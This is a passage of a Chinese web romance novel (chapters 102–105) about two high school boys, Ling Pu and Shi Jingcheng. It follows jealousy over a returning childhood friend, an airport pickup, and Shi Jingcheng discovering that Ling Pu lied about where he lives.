先与同事汇合,互相之间打了招呼:“hello凌蒲,好久不见。” 凌逸飞几个同事的小孩和他差不多年龄,平常并没有什么交集。 “确实好久没见了。” 凌蒲有些意外地看着其中两个,上了高中之后形象似乎有所改变。 男生烫了个显眼的头发,女生则有的戴了耳钉染了几缕,可能是上次见面还是彼此的初中时候,所以感觉上变化特大。 “凌蒲和小时候一点没变,看起来还是副乖乖的样子。”几乎所有人见了凌蒲都说。 凌蒲从小学习虽然不算特别拔尖,但表现上没什么越矩的事儿,是家长口中常提的别人家孩子。长相又干净帅气,被很是夸了一番。 “你们几个小孩坐一辆车吧,正好有共同话题。” 他们同龄人被分到同一辆车,自然而然开始聊天。 聊着聊着就有人说到了恋爱那些事情上,发言的带着潇洒不羁的不屑口吻,将换女朋友视作很酷的事情。 “高中不就该这样,玩玩而已。”锡纸烫男生说道。 “你们学校之前不还出了个情种,分个手要死要活的,还去死缠烂打。” 那男生笑起来:“体面都没了,想起来都替他尴尬。这都什么时代了。” “诶,凌蒲,你以前很喜欢说话,今天怎么这么沉默?你怎么看?” 凌蒲包容性强,温温和和毫无攻击性。遇到能说得上的话题就说说,说不上的话题就安静地听,别人热衷于寻求他的附和。 但这回他淡淡评价了句:“不苟同。” 其他人笑起来,调侃凌蒲的思想和看起来一样,果然是好学生。 “你没有谈过恋爱吗?”还有人追着问。 凌蒲犹豫一下,摇了头。 “感觉好像在说谎。眼神有点飘啊。”当即就有人提出。 不过看凌蒲没有搭腔,这个话题很快揭过去,话多的继续聊。 下了车,凌蒲一直跟在钱芷和凌逸飞旁边,没跟着那群年轻人冲在前面。 这里山清水秀,虽说处于冬初,但遒劲的树枝也别有意趣,在山涧间曲曲折折,带着冷意的水流愈发清澈。 凌蒲呼吸一口清朗的空气,放空思想。 忽然瞥见浅浅的滩中一块石头特别圆润,而且色泽漂亮,难得一见。 他默默偏航,站在岩石上,把手伸进冰冷的流水中,好一阵才摸出来那块石头。 手冻得通红,揣进口袋暖了好一阵。 自以为隐蔽的动作被钱芷和凌逸飞尽收眼底,不由笑笑。 等到了半山腰风景最佳,各自都忙忙碌碌张罗拍照片。 家长永远热衷于让孩子排排站,留下合照。 凌蒲独自举着手机拍了不少,有打着卷儿蜷缩的落叶,卧在垃圾桶上打盹的小肥猫,还有山涧错落有致,如同画般的情景。 要是时璟承在就好了。 不着村不着店的,凌蒲忽然这样想。 他对每幅图景都有好多话想和时璟承分享,但是手指放在和时璟承的对话框上,看着上面未回的消息,又觉得过于频繁。 凌蒲在手机里选了几张风景照,最后随便在群里保存了张合照,发到朋友圈里。 下山途中,摸出手机,发现时璟承给他点了个赞。 划回之前的对话框,对方并没有新发任何消息。 两天游玩时间,凌蒲颇有些心不在焉。 周一早上,看到时璟承,他低下头。 时璟承什么话都没说,两人之间按部就班地上完上午的课。 中午放学铃一打,时璟承放下笔,朝后靠了靠,抱臂看着凌蒲。 凌蒲低着头,收拾他的书。 时璟承先开口:“凌蒲,没有解释吗?为什么不回消息。” 声音可以说算得上温和,并没有质问。 凌蒲摇摇头。 时璟承看着他垂落的眼睫,握了下凌蒲的手。 “在闹什么脾气。” 凌蒲抬眼,望着时璟承,又低了下去。 在口袋里摸了摸,拿出一颗洗干净的石头放在时璟承手里:“送给你。” 时璟承愣了愣,收下来,抬手替凌蒲理了理他额前的乱发:“先去吃饭吧。” 凌蒲吃着饭,不自觉地盯着时璟承偷看,在对方转过眼时,飞快地回撤眼神。 “吃饱了。”凌蒲简单吃了几口,慌慌忙忙地下车,走了几步,又不自觉回头。 车窗缓缓降下,时璟承一身简单的校服,发色乌黑,稍带疑惑地朝凌蒲挑了下眉。 凌蒲拔腿就跑。 持续了一阵子,情绪堪堪恢复如常,但当时璟承想和他好好谈谈时,凌蒲总用沉默或者是亲吻回避。 直到某个周末,凌蒲没什么借口,继续跟着时璟承回了家。 “时璟承。昨天刚学了个菜,做给你吃。” 凌蒲颇有兴致地给时璟承展示自己的手艺,他现在西红柿炒蛋已经不在话下,除了味道之外看上去颇像那么回事,开始探索起其他菜肴。 “不错。” 时璟承夸道,坐下来尝了口,随口告诉他:“明天白林玥上午九点的飞机,到时候去机场接她。” 凌蒲把他学的咕噜肉夹了一块放在盘子里:“白林玥是谁?” “你那小月亮。”时璟承说道。 凌蒲筷子一顿,肉块滚到桌子上。 时璟承替他用纸擦掉,重新夹了块,点头:“味道也不错。” “这么早就回来了?”凌蒲问,“还以为要到下周圣诞节。” “可能是提前请了假。” “我就不去了吧。”凌蒲心不在焉,放下筷子。 时璟承细细看了他一番,太阳简直打西边出来。 “你不是最喜欢凑热闹?心心念念这么久。”时璟承说,“她专程飞回来看你,也是闲的。” “噢。” 凌蒲点点头。 吃完饭和时璟承午睡,一直盯着时璟承看。 时璟承朝旁边挪挪,凌蒲又挨上来,继续盯。 凌蒲在时璟承家里已经拥有了两件专属睡衣,每次都有干净整洁的穿。 在暖洋洋的屋里半敞领口,动作也不加注意,动辄就露出一片白皙的肌肤。 时璟承翻过身,凌蒲从身后抱住他,额头有一下没一下地蹭着。 时璟承按亮台灯,坐起身。 在凌蒲光洁的额头上覆了下:“怎么了?” “时璟承。”凌蒲侧过脸埋进枕头里,叫了声他的名字。 时璟承微微拧眉,抱臂等待下文。 等了半天没等到,倒是从被子里伸出一只白皙的手,撩开时璟承衣服下摆,探进去一点,然后迷路似的停住不动。 时璟承垂眸:“凌蒲,你要干什么?” 第103章 午后冬日的阳光被窗帘隔绝在外,屋内的氛围一片懒散和缱绻。 “时璟承,你到底知不知道玩玩是什么意思?” 凌蒲发问,再次表现得很老练,尽量让自己的声线稳住。 “我不知道。是什么意思?” 时璟承看着凌蒲露出的耳朵,像熟透的大虾,捻了捻手指。 “你每次都这么磨叽的吗,瞧不起你。”凌蒲声音清脆,隐约带着点抱怨的情绪。 “怎么磨叽?”时璟承好整以暇。 凌蒲微微侧过脸,分出一点眼神看着时璟承,足够看清对方有些玩味的神情,显然是故意捉弄他。 “时璟承,你又这样。” 凌蒲重新把头埋下去,一动不动。 时璟承笑了下,关掉灯,重新躺下准备睡觉。 但凌蒲不同意,把蹭得乱七八糟的脑袋从枕头挪到时璟承的胸口,趴在上面听时璟承的心跳声。 两人布料相接的地方逐渐升温,时璟承捏了捏凌蒲的胳膊,软乎乎的。 柔软细嫩,又有独属于十七八岁少年的蓬勃,即使半遮半露的是卡通睡肉.体也很有诱惑力。 他挨着时璟承,闭上眼睛豁出去,一副非要采撷的摸样。 然而当时璟承假装朝下探了探时,细小的声响中,凌蒲一抖,立刻蜷起腿。 又是副典型的叶公好龙。 时璟承用拇指和食指摩挲一下凌蒲的耳垂,抚了抚他后颈:“睡吧。” “不要。”凌蒲小声地坚持,“我们得留点回忆。” “你要什么回忆?每天不都是回忆。”时璟承并不是很理解。 凌蒲不再说话,大着胆子亲亲时璟承,柔软而生涩地挪动到下巴,听着耳边时璟承的呼吸变重。 他抬起眼,手撑在两侧,望着时璟承。 时璟承的眸色变得深了些,两人的距离近在咫尺。 凌蒲头发是乱的,堆在额头上,白皙的皮肤上带着点羞怯的红,在并不明亮的光线下能看清眼里微微的水光,五官色彩明丽,像一颗诱人犯错的苹果。 也像一只很好欺负而没什么抵抗能力的小肥猫。 时璟承不知什么时候已经揽住凌蒲的腰,室内安静得只剩下喘息声。 轻轻吻了下凌蒲的耳朵,时璟承忽然问:“凌蒲,我们什么关系。” 凌蒲睡衣半敞,露出一小片肩膀,闻言立刻说:“没有关系。什么关系都没有。” 果断得让时璟承一顿,推开凌蒲,把他从自己身上推下去。 起来整理好t恤下床,顺手一丢被子,将凌蒲罩住。 大步去了浴室。 凌蒲用被子遮住脸,心脏还在扑通扑通的跳。 为什么时璟承在他这里进度这么慢,但又想到如果最后一步是玩到手的标志,是不是意味着时璟承还没有要和他结束的意思。 不知道为什么,他潜意识里总觉得白林玥会是时璟承的白月光,这个念头似乎一直埋藏在他的头脑中,尽管现在仅有一些蛛丝马迹。 凌蒲左思右想,纷杂的思绪像一张大网,让他昏昏沉沉,很快陷入熟睡。 再醒来时外面的阳光似乎已经没有方才那样亮,整个屋子陷入淡淡的灰。 他睡觉的姿势似乎还挺惬意,坐起来揉揉眼睛,发现时璟承果然不在房间里。 推开房门走出去,发现时璟承穿戴整齐,坐在楼下的沙发上。 抬头看到他,目光落下去,皱皱眉头:“鞋子穿上。” 凌蒲转身跑回去,回到房间,穿戴整齐,默默从时璟承身边走过。 自认为十分知趣。 “明早去接你,一起去机场。”时璟承提醒。 凌蒲朝后挥挥手,示意知道。 回家之后在床上翻来覆去半天,摸出手机,还是给好兄弟发消息。 【/粽:程益添,你在吗?】 【程益添:?】 【程益添:?什么事叫全名了,吓我一跳。】 【/粽:就之前和你说的那个,你说他们玩弄别人感情,一般什么时候会玩完?】 程益添无缝读心:【当然是新鲜劲儿过了的时候】 【/粽:节点呢?】 【程益添:上完床?】 凌蒲皱眉:【你讲话有点糙】 “程益添撤回一条消息” 【程益添:以我的观察,一般是这样一个节点】 【程益添:或者单纯腻了,不需要理由/墨镜】 【程益添:或者有更重要的主角出现了,你看电影里那些炮灰不都是这样,没人在意的】 凌蒲有点忧伤。 抱着手机默默沉睡。 直到第二天早上,被铃声吵醒。 本该美好的周日变得有些沉重。 凌蒲沉重地起床,沉重地吃洗漱,沉重地吃早餐,在钱芷和凌逸飞异样的目光中行动。 “今天怎么不捣鼓你那头发了?”凌逸飞问。 凌蒲随手用水抓了下,挥手出门。 在寒风中凄凉地长途跋涉,来到隔壁小区门口,等着时璟承的车。 车停在凌蒲面前,时璟承打量一下他,发现凌蒲卫衣外面穿了件厚厚的黑色棉袄,裹得像个粽子。 朴素地朝里面一坐,睡眼朦胧。 时璟承觉得很可爱。 两人默契地没提昨天下午的事情,一片淡淡的安静。 凌蒲一夜都没怎么睡,现在也昏昏欲睡,朦胧中感觉有人抓他的手,稍稍动了下,便没再管。 下车来到机场。 成深野已经等在厅内,周末的他和在学校判若两人。 一副要风度不要温度的样子,全身上下都是奢牌,头发精心打理过,还是很像韩剧男二。 凌蒲顿了一下,自己为什么会觉得“还是很像”。 身旁时璟承简约的黑色,肩宽腿长,衬得气质不凡。 凌蒲站在两人之间,看着屏幕上花花绿绿的航班序列,放空。 “热不热?”时璟承问他。 厅内温度没有外面低,穿这么多的凌蒲确实觉得热。 他点点头,脱了个袖子。 时璟承替他把外套摘下来,拿在手里。 顺便拨弄一下凌蒲被弄乱的发型,有了些层次感,露出点额头。 整套动作十分自然,旁边的成深野多瞅了瞅,却没瞅出具体哪里不对劲来。 凌蒲站在时璟承旁边,上眼皮和下眼皮不住地朝一起黏。在即将栽倒的时候,时璟承朝侧上了一步,抵住他。 凌蒲便偷偷把重心挪大半给时璟承,果然轻松不少。 他打量周围,目光落在成深野身上:“你今天打扮什么?” “帅不?” 成深野朝他眨了下眼。 凌蒲没来得及反应,时璟承伸手挡了挡他的眼睛。 但凌蒲坚持捧场,大拇指竖起来:“帅的。” “谢谢。白林玥带朋友一起回来,她朋友都是美女。”成深野收起镜子,解释原委。 “好吧。”凌蒲点点头。 他认为自己心情处于一种如止水般的平静中,没有一丝波澜。 快要睡着之际,旁边一空,听到成深野的声音:“航班到了。” 凌蒲幽怨地看了一眼时璟承撤走的肩膀。 时璟承指成深野:“他拉的我。” “随便吧。”凌蒲淡淡。 他看到从里面走出不少乘客,目光不自觉地朝后扫。 然而一阵带着香气的风扑过来,一个身高腿长的漂亮女生已经来到近前。 皮肤白皙充满自信,和小时候的小月亮很像。 白林玥先认出的是时璟承,上去就热情地打了个招呼,介绍身旁的同学:“这是Brianna,她很小就出国了,中文可能不太好。” 旁边同样打扮时髦的女生朝时璟承点点头,作了介绍。 时璟承用简短的英文回了一句,那女生眼睛亮起。 飞快的几串英文倾泻而出。 凌蒲发现自己虽然进行了英文学习,但依然是听不懂,和小时候的感受一样。 那三人站在一块就是同一气场,看起来养眼而舒服,吸引了周围不少目光。就是时璟承手里拿了件挺厚的质朴羽绒服,感觉有点突兀。 凌蒲瞅了眼同样茫然的成深野:“你也听不懂?你不是国际部的吗?” 他隐约记得特儿小时候热衷于英语。 成深野耸耸肩:“我又没在国外待过,纸上谈兵。他们语速太快了。” 两人难兄难弟,原地等待。 等前面交流完,时璟承向白林玥介绍:“这是凌蒲。” 白林玥笑道:“你就是粽粽吧,其实早就看出来,你和小时候真像,简直是一样可爱。不过比小时候帅多了。” 凌蒲点点头,朝她笑了一下。或许是白林玥在国外一个人待的时间长,和他说话还像逗小孩似的。 “我给你们带了礼物,来看看喜不喜欢。” 白林玥从包里给他们拿礼物,每人都有份。 凌蒲看到她送给时璟承一个耳机,之前凌蒲也查过,想作为时璟承的生日礼物,但预算要差一点,而且查了挺长时间到底怎么够买。没想到在这个场合被这么很随意地送出。 还好没买。 时璟承看起来对那个耳机的兴趣也不大,简单地谢了一下。 “你得用哦,之前送你的手表都没怎么见你戴过。”白林玥笑道。 凌蒲目光在两人之间打量,直觉告诉他白林玥送的肯定不止那个时璟承放在抽屉里的卡通手表,有所隐瞒。 不过白林玥送给他的挂件很可爱,凌蒲挺喜欢,一直拿在手上玩来玩去。 还没出机场就被时璟承没收:“看路。” “这个真的挺不错,回去帮我挂在书包上,和我的狮子挂在一起。” “不给。”时璟承果断拒绝,“你要想挂我送你。” 凌蒲观察时璟承的神情,看着前面叽叽喳喳走在一块的三人,把时璟承朝后拉一点,轻声问他: “你在吃谁的醋?” 问完觉得没立场不大度,加快脚步:“算了。那是你的事。” 时璟承从后面拉住他,指腹不经意蹭了下他的脸:“我的事你不管?” 第104章 凌蒲和时璟承小动作不断,很快就落后于前面一小团人。 眼见他们停下脚步,两人才重新跟上。 白林玥回头道:“璟承,你多给我朋友介绍一下。她中文不太好。” Brianna热情活泼,灵动的大眼睛闪烁着好奇。她有很多问题问时璟承。时璟承虽然话少,不过也都答了。 凌蒲默默退后半步,再次认为自己十分知趣。 他发现时璟承不管和谁走在一起都十分登对,尤其是和一个美女在一起,仿佛开辟了崭新的图层,路人回头率飙升。 于是独自揣着口袋,在即将走出室内的一刻寒风凌冽,不由缩了缩脖子。 身上单薄的卫衣布料贴紧皮肤。 前面时璟承已然停下脚步,手里拿着凌蒲那件羽绒服。回头走几步,在门边避风的地方给凌蒲穿上。 凌蒲垂着眼,看到拉链一直被拉到最上,时璟承还顺手摸了摸他的下巴。 “还没醒?”时璟承低声问他。 “醒了。” “一会儿想吃什么。” “我说了算吗?”凌蒲漫不经心地问。 时璟承把他的棉袄帽子翻下去:“你说了算。一会我请客,你选地方。” 于是凌蒲在手机上划拉半天,替时璟承挑选了一家评分不错的餐厅,里面有中餐有西餐,可以很好地满足所有人的需求。 落座之后,主要沟通语言依然是英文。 毕竟是国际语言,而且成深野虽然不算完全无障碍交流,但基本也能听能说。 只有凌蒲实诚地带着高中学生的英语听力水平,听得一脑门雾水。 开始时璟承还给他翻译,但凌蒲挥挥手,让他不用翻了,人家等着回答呢。 等菜上来,埋头苦吃。 白林玥寒暄完之后对凌蒲还是挺感兴趣,换了中文和他说话:“粽粽,你之前跑到哪里去了,我们都没找到你。” “我当时搬家,跟着我爸妈去杭苏。”凌蒲回答。 “尤其是璟承,你知道这些年你的名字提都不能提吗。一提就高压,超可怕,所以我就说得回来看看。”白林玥笑起来,“不过看你们相处得似乎挺好,看来他只是说说,你的人格魅力还像小时候那么大。” 凌蒲撇撇嘴:“可能他在下一盘大棋。” “这倒是符合璟承的性格。” 白林玥情商很高,引着凌蒲聊天。 看他用牛排刀不熟练,还帮他切了一块放在盘子里。 时璟承拧眉,用筷子把自己盘子里的牛排夹给凌蒲:“他不爱用刀,用筷子一样的。” 起身去服务员那里再替凌蒲要一双筷子。 “璟承就这么草率?”白林玥笑笑,“将来在国外可别这样。对了,他有没有告诉你打算什么时候去?” “时璟承也要去国外吗?”凌蒲第一次听到这样的消息。 “是呀。他将来肯定是要出国读大学的。”白林玥悄悄告诉凌蒲。 背后可能还有一些隐情,白林玥显然是知道的,只是告诉了凌蒲露出冰山的一点既定事实。 凌蒲也没怎么再继续吃,一是因为聊了天,而是他发现大家似乎都吃得不太多。 等这顿饭吃完,白林玥带着Brianna离开:”我要先去看一下父母,下周有空再一起玩。谢谢你们的招待。“ 成深野摸出手机,也表示有事,要先走了。 临走时拍拍时璟承的肩膀:“破费破费。不过没有白吃,白林玥那位同学还朝我要你的联系方式。” “别给。”时璟承淡淡。 “知道,你看我哪次给了。” 等成深野也离开,桌上就剩下时璟承和凌蒲。 “满足你的好奇心了吗,见到你那小月亮了。”时璟承说。”是为了满足小月亮的好奇心吧,让他见见我。“”有什么区别?“”不知道。“ 时璟承觑着凌蒲微微鼓起的脸颊弧度:“不高兴?” “没你高兴。” “是不是没吃饱,看你光顾着说话了。”时璟承翻过菜单,“给你再点别的?” 凌蒲保持沉默,过了几十秒,才开口:“不吃这家的,没有阿姨做的好吃。” 时璟承笑了下,结完账带他去继续溜达。 凌蒲重新吃了点小吃,捧着牛奶走在回家的路上。 时璟承侧头看他,揉了一把他的头发。 “时璟承,小时候你找了我很久吗?”凌蒲问。 “怎么突然说这个?” 凌蒲不再说话,一路跟着时璟承,不知不觉间又回到大别野,坐在客厅的沙发上继续吃。 默默吞下最后一口,站起身:“我要回家了。” “吃饱了?” “还好。” “我送你回去。” 外面车就停在院子里,凌蒲坐上后座,路上望着窗外,留给时璟承一个圆润的后脑勺。 “时璟承,我小时候不是故意骗你的。“凌蒲忽然开口。”是吗?“ 时璟承的口吻并不在意,凌蒲认定他不相信自己。 “那个时候我才两岁半。”凌蒲说,“未成年人犯法都有宽恕呢,我才那么小。” 他顿了一下:“你可以原谅我吗?” “不可以。”时璟承倒是回答得十分果断。 “好吧。” 等到了目的地,凌蒲默默下了车,再次顶着风寒长途跋涉。 时璟承看着他的背影消失在小区里,直到拐了弯,一点都看不到。 司机安静等待,直到后方响起喇叭声,才终于出声问:“小时先生,走吗?” 时璟承回神,若无其事地咳了声:“走吧。刚回个消息。” 司机缓缓发动车子:“刚刚顾乾先生说发消息您没回,让顺路把他和邵先生接上,你们去吃饭。” “哦。”时璟承点头,“那去吧。” 车子走上另一条路,然而不久后,一个眼熟的身影出现在时璟承视野里。 揣着兜,微微低着头,在踢地上的小石子,要是必经之路上有树叶,是必须偷偷抬脚“咔吧”踩一下的。 这个熟悉的身影分明是刚送到小区门口的凌蒲。 时璟承一顿,和司机说:“把我放下来。先去接顾乾。” 司机没多问,把他放下。 时璟承落后一点跟住凌蒲。 这人一点警惕性都没有,悠悠哉哉,简直是很好跟踪。 只见凌蒲终于走到终点,是一个小区。 时璟承在不远不近的地方停下来,站在原地。 门口的保安显然与凌蒲熟识,两人不仅打了个招呼,还熟稔地寒暄了几句。又遇上出来遛狗的阿姨走出来,凌蒲也打了招呼,那只狗热情地朝上扑,关系也不一般。 凌蒲蹲下来,摸了摸狗头。 然后在小区入口处人脸识别,自然地走进去。 相比之前那个小区,显然这里更像凌蒲的家。 时璟承粗略计算了一下,两个小区间的距离并不远。 怪不得之前每次凌蒲都气喘吁吁的,一副着急忙慌的样子,时璟承想到上次来接凌蒲时给对方打的电话。 合理地怀疑凌蒲在家庭住址方面骗了他。 时璟承并不喜欢被人欺骗,尤其是有前科的凌蒲。 他在门口站了一会儿,拿起手机发了个消息。 【到家了吗?】 时璟承视线里,看到凌蒲拿起手机看了一眼,加快脚步。 身影飞快跑进一个单元楼,又过了一两分钟,时璟承的手机震动一下。 【/粽:到了】 时璟承将手机收进口袋,依然站在方才的位置。 一片已经完全蜷缩的枯叶离开树枝,发出一声清脆而细微的响动,落在时璟承的肩头。 时璟承抬手拂去,树叶落在地上,鼓鼓的。 要是凌蒲见到,肯定会踩一脚。 时璟承犹豫一下,左右看看没人,不经意地踏在落叶上,响亮的“啪”一声,他若无其事地撤回脚。 让凌蒲出门的时候没有树叶可以踩。 刚跑到家的凌蒲打了个喷嚏,手机收到新消息。 【时璟承:/OK】 * “怎么才来?又和你那个小对象厮混去了?” 邵晚熠和顾乾都已经落座在晚餐餐厅的包间里,脱了外套,穿着有些相似的毛衣。 包间隐私性很好,仿佛与外界隔绝开来。 见时璟承来了,邵晚熠又忍不住调侃他。 “什么时候能让我们见见你那个神秘人,和我们还有什么需要保密的?” 邵晚熠被时璟承损了这么多年,终于发现对方有点蛛丝马迹,有些小人得志。 时璟承不说话,坐下来。 这倒是相当反常的情况,邵晚熠观察他,继续作死追问:“怎么了?分了?这么快。好像是有一阵没看到异常情况了。” 时璟承抬眸瞥邵晚熠一眼:“管好你自己。” “我自己非常好,和你哥情感很稳定。” “也就目前来看。” 时璟承不怎么饿,简单喝了点橙汁,便一直看着手机。 屏幕还停留在他最后那个OK上,凌蒲没有回他。 他觉得凌蒲最近地态度十分反常,没有刚开始那阵热情。分明开始是凌蒲先开的口,扭扭捏捏地说什么要玩一下,现在还真是玩会儿就跑了。 难不成又被凌蒲给骗了,总是顶着副纯真无比的表情干一些骗子的事情。 时璟承咬咬牙。 “怎么了?对着一块手机表情那么丰富?”邵晚熠问,“谁又玩弄了我们Zev的感情?” 见时璟承没搭腔,顾乾问:“为什么说‘又’?” “你忘了小时候那个小朋友?上综艺的那次,也不是转头就把他给甩了,记挂多少年。” 看着时璟承脸色沉沉,邵晚熠摇头:“你看,到现在一提还这样。还好那时候年龄小,不然得记一辈子。” 两人就着话题聊起来,身边为了感情寻死觅活的不少,这个骗那个,那个骗这个的,聊起来总有点新鲜事。 聊了一圈回来,见时璟承还在看手机,邵晚熠让他先吃饭:“旧的不去新的不来,天涯何处无芳草,何必在一棵树上吊着。” “哥,他把心里话说出来了。”时璟承转向顾乾。 邵晚熠脸色一变:“少血口喷人。” “你自己说的。”时璟承悠悠和邵晚熠说,“我觉得观点不错,我会灌输给我哥。很多人想认识顾乾。” “不好意思,你哥看都不看一眼。你邵哥也是很优秀的,那些莺莺燕燕比不上我。” “可是他们比你年轻,再过几年说不定。” “你小子说什么?”邵晚熠明显被噎了一下,放下手里的杯子。 两人吵吵嚷嚷起来,顾乾独自安静用餐,已经对这场景习以为常。 邵晚熠对时璟承这句话非常不满,直到顾乾安抚他两句才作罢。 “今天干什么了?打电话给司机的时候他说和你在路上。”顾乾转移话题,问时璟承。 “白林玥从国外回来,去接她。” 顾乾和邵晚熠都微妙停顿,能够使唤时璟承专程去接人,那可不一般。 两人对时璟承这个初中同学有印象,默契对视一眼,开始旁敲侧击。 “她家没有司机吗,怎么让你去接?” “满足某人好奇心。”时璟承把桌上甜品拍个照片,觉得色泽挺黯淡,又重新换个角度重拍一张,发给凌蒲。 顾乾和邵晚熠可没听过时璟承这样说话,还某人。 两人再次对视一眼。 “白林玥变化挺大的吧,应该比以前更漂亮了。”继续旁敲。 “没注意。”时璟承心不在焉。 邵晚熠自顾自探案:“也正常,你俩一起长大。不过记得你小时候不爱和她玩,果然还是年龄没到、” 时璟承放下手机,端起杯子准备喝一口橙汁,忽然震动了一下。 他放下杯子按亮屏幕,却是一条好友申请,备注是Brianna。 时璟承继续喝橙汁。 一顿饭快吃到尾声,凌蒲才终于回复了他。 【/粽:/拇指/拇指/拇指】 就再没有了下文,和批阅奏折似的。 【时璟承:?】 【/粽:?】 第105章 凌蒲躺在自己的小床上,摊平身体,凝视天花板。 柔软的头发被摩擦得有点乱糟糟,显然已经翻来覆去好久。 他枕边放着大金猪储钱罐的积蓄,钞票数得平平整整,却还没想好到底给时璟承送个什么礼物。 今天的一些场景和话也出现在脑海里,稍稍播放了几遍。 凌蒲揉揉头发,强行止住思绪。然后坐起身,关灯,把被子朝脑袋上一蒙,早早睡觉。 全然没注意到手机响了一声,忽然在枕边亮起。 【时璟承:明早去接你】 * 第二天一早,当清晨第一缕阳光照进窗户,凌蒲便被钱芷从美梦中叫醒。 “又到周一了,继续上学。”钱芷拍拍裹紧被子的人。 凌蒲半梦半醒地脱掉睡衣,一件一件地穿上衣服,最后套上校服。 “谁家的帅气高中生,真板正。”钱芷夸了句。 “还是穿校服看着顺眼点,清清爽爽。” 凌逸飞疑似暗讽凌蒲的穿搭。 凌蒲皱皱眉头,听出来一点。 但他经过周末,每到周一早上就特别困,无力反驳。 机械地把面包牛奶塞进嘴里,没品出什么滋味,便默默抓起手机和公交卡,背上小书包,出发上学。 凌逸飞就刚开学的时候接送他,现在路已经摸清,凌蒲大多时候还是自己公交上下学。 他打着哈欠,一路上看到很多和他如出一辙的高中生,脸上都一个表情。 复制粘贴似的,充满了对上学的无奈与无助。 刚出了小区大门,手机忽然一阵接着一阵地响起来。 昨天周末,他忘记调静音了,还好有这通电话。 凌蒲有些后怕地拿起来,放在耳朵上,声音含混,带着没睡醒的倦意:“喂。是谁。” “凌蒲,你在哪。”时璟承标志性的嗓音从听筒里传来,和冬日清晨很适配,“在小区门口怎么没看到你。” 凌蒲一愣,本能地朝小区门旁看了看,街道空空荡荡。 他的大脑终于迟钝地开机,意识到时璟承在隔壁小区的门口。 犹豫一下,正想开口找点借口,被时璟承截住:“一大早就在这等,可能有一个小时吧,一直没见到人呢。” 凌蒲默默闭麦。 这种情况实在棘手。坦白的话语在他喉咙口滚了滚,但想到时璟承说讨厌别人骗他,又想到自己当初编造小区名字时难以启齿的原因。 他艰难开口:“好吧,你等我一下。” 没有办法的凌蒲只能拦下一辆出租车,朝着隔壁小区后门赶去。 现在正处于上学高峰期,路上出租车挺多。 车子也就不到三两分钟的时间起个步,凌蒲就来到后门,紧赶慢赶,一口气穿梭到前门。 气喘吁吁地一转头,寻找到目标人物。 虽然对方也穿着高中校服,但没什么疲惫与困倦,头发乌黑,气质偏冷。 抱臂站在锃亮的黑车旁,身高腿长,姿态挺拔得相当养眼。 凌蒲叫他:“时璟承。” 喊完之后站在原地不动平复呼吸,约莫和时璟承隔着五六步距离,清晨的薄雾还没有散尽,在有些模糊的视线里抬头,总觉得时璟承看他的目光不同寻常。 “不好意思,起迟了。” 凌蒲从时璟承替他拉开的车门里进去。 “你怎么忽然来接我?”凌蒲问。 “想来就来了。”时璟承故意说,“以后我可以每天都来接你。” “不用了。我更喜欢低调地上学。”凌蒲婉拒。 时璟承看着凌蒲跑得乱七八糟的头发,还是伸手整理了下。 豪车照例只开到距离校门有段距离的转弯处,凌蒲跟着时璟承下车,背着重重的书包又朝学校徒步。 “一直都很低调,不用担心。”时璟承悠闲。 这么来回两趟跑下来,凌蒲觉得还不如自己走到学校。 旁边时璟承看起来倒是心情不错,大步走在前面,凌蒲只得加快脚步跟着。 因祸得福,对他来说倒是阴差阳错地起到了早锻炼的作用,上午的课还挺精神。 中午凌蒲摸出手机,检阅消息。 首先小月亮添加他为好友,迟疑一下,点击通过。 然后程益添还有以前的同学照旧给他发来闲聊,堪比战地记者。 【程益添:蒲,那天话为什么说一半,你咋了最近】 【程益添:别忘了你的计划啊】 【程益添:狠狠甩掉】 凌蒲看着有些头大,只回了个“OK”的表情包。 手机震动一下,刚通过好友申请的小月亮给他发消息。 【白林玥:你好呀凌蒲,昨天谢谢你选的餐厅,味道不错。我们计划这周三开个party,你要来吗?】 凌蒲给她发了个“你好”的表情包。 然后回复【我要上学,可能没有空去了/凋谢】 【白林玥:没关系呀,是在晚上八点才开始,第二天可以正常上学。主要我刚回国没什么朋友,圣诞结束之后就要走了,你就来呗】 凌蒲有些为难,他并不想一个人去那样的场合,但小月亮的邀请又挺真诚,没有什么拒绝的理由。 【/粽:时璟承去吗?】 【白林玥:当然要叫他的呀】 凌蒲默认时璟承也会去,便没什么负担地答应了白林玥。 “别玩手机了。”旁边的时璟承说道。 “就中午午休时间摸一下,还不给我玩。” “你拿着手机也不回消息。” “怎么没回消息,我都在回消息,很忙的。”凌蒲煞有介事。 时璟承淡淡:“没回我消息。” 凌蒲皱眉,看着时璟承:“不会啊,没回你什么消息。” 时璟承回想一下,昨天凌蒲没回他的/OK,而且对于问号只回了个问号。 但他并没有说出来,继续道:“吃饭。” 凌蒲便拿起筷子,期待地看着餐盒被打开,准备和时璟承一块儿用餐。 “好看又好吃。”他一碰到食物就全情投入,“阿姨的手艺真是越来越好了。 凌蒲找到一块外形完美的话梅排骨,展示给时璟承看:“你看这个排骨,就得中间一根骨头,两边是肉才最标致。” 夹着标致排骨的筷子在时璟承唇边晃来晃去,时璟承忽然张嘴咬住。 凌蒲大惊:“你怎么这样,我还以为你是正人君子。” 时璟承咬着一侧,观赏凌蒲着急的样子,不由感到好玩。 他轻轻抬头,示意凌蒲松筷子。 凌蒲看着时璟承的动作,愣了一下。瞅一眼前面放下来的后排挡板,慢慢朝时璟承靠近,一边松筷子,一边咬上另一侧。 动作生涩而紧张,也让时璟承措手不及,朝后仰了仰,凌蒲便把整块排骨都夺回去。 但这并不是他原本的目的,有点愣愣地。 时璟承道:“你真是无所不用其极。” “我本来不是打算这样的。”凌蒲小声。 “哦。”时璟承显然不信。 凌蒲便把排骨放在碗里,重新倾身向前,在时璟承唇上贴了一下。 飞快撤开,就留下一点点酱汁,酸酸甜甜的话梅味。 时璟承眸色深了深,凌蒲却又假装专注地真正开吃。 筷子快出残影,不让时璟承有可乘之机。 打打闹闹地吃完,凌蒲靠在时璟承身上,看着外面的阳光,有点忘形。 “璟承,话梅排骨真好吃。” 反常的两字称呼让时璟承拧眉看他:“抽什么风,这么叫我。” “璟承。今天下午放学去哪里。” “好好说话。” 凌蒲看着外面,回过头:“时璟承。” “嗯。” 凌蒲变得有些怅然,把这个名字又在心里复述了一遍。 “你知道我的名字吗?” “骗子。” 凌蒲皱眉。 “我是凌蒲,时璟承,你可别忘了我。” “你最近怎么了?”时璟承颇感莫名,“一直忘了的好像都是你。你记不记得在学校第一次遇到的时候,我和你说我不做第二次自我介绍?” “记得。你那么说不是为了装逼吗?” “小时候和你说过一次。当时顾乾不让我说名字,我谁都没告诉,只告诉你。” 